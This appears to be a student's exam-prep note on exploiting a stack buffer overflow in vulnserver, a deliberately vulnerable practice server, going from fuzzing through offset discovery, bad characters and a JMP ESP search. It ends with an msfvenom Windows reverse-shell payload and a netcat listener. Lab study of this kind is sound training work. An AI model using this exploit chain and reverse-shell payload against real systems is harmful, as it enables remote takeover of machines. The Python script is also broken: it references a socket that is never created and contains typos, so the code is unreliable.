Buffer Overflow:INE_OSCP_Note

SMN666

Fuzzing:

#download vulnserver https://thegreycorner.com/vulnserver.html

#https://github.com/stephenbradshaw/vulnserver

#download immunity debugger
https://www.immunityinc.com/products/debugger/

#writer code fuzzer.py and then compile chmod 777 fuzzer.py

#nc -nv [vulnserver ip] 9999

#run ./fuzzer.py , it will crash the vulnserver.

Finding the Offset

#/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 5900

#copy the shellcode and put it to shell script file

#and then compile pattern.py

#/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 5900 -q 386F4337[EIP]

#and then appears:Exact match at offset 2003

OverWriting the EIP

```
#nano pattern.py [change shell code in script and add the offset number]

#!/usr/bin/python

import socket

import sys


shellcode= "A" * 2003 + "B" * 4

try:

        connect=s.connect(('192.168.1.1',9999))

        s.send(('TRUN /.:/' + shellcode))

except:

        print"check debugger"

s.close()


#re-run vulnserver and attach in immunity debugger

#check EIP & EBP
```

Finding Bad Characters:

```
#find badchars on google

#create nano badchars.py

#go run vulnserver

#run immunitydebugger

#right click EIP follow dump check HEX dump
```

Finding the right Module:

```
#find mona module on google

#https://github.com/corelan/mona

#add mona.py file to
C:Programfiles(x86)/ImmunityInc/ImmunityDebugger/Pycommands

#open vuln server

#and then attach immunity debugger

#find in kali

#locate nasm_shell

#/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb

# nasm > JMP ESP

# in Immunity debugger type:

# !mona find -s "\xff\xe4" -m essfunc.dll

# nano badchars.py (edit shellcode)

#  add x86 code and name : module.py (my code)

# chmod 777 module.py

#find JMP EMP in Immunity Debugger (type 625011af)

#./module.py
```

Generating Shellcode & Gaining Root:

```
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4444 EXITFUNC=thread -f c -a x86 --platform windows -b "\x00"

#nano module.py

# add payload shell code to exploit function.

# chmod 777 exploit.py

#open vulnserver

#nc -nvlp 4444

#./exploit.py

#Got ROOT!
```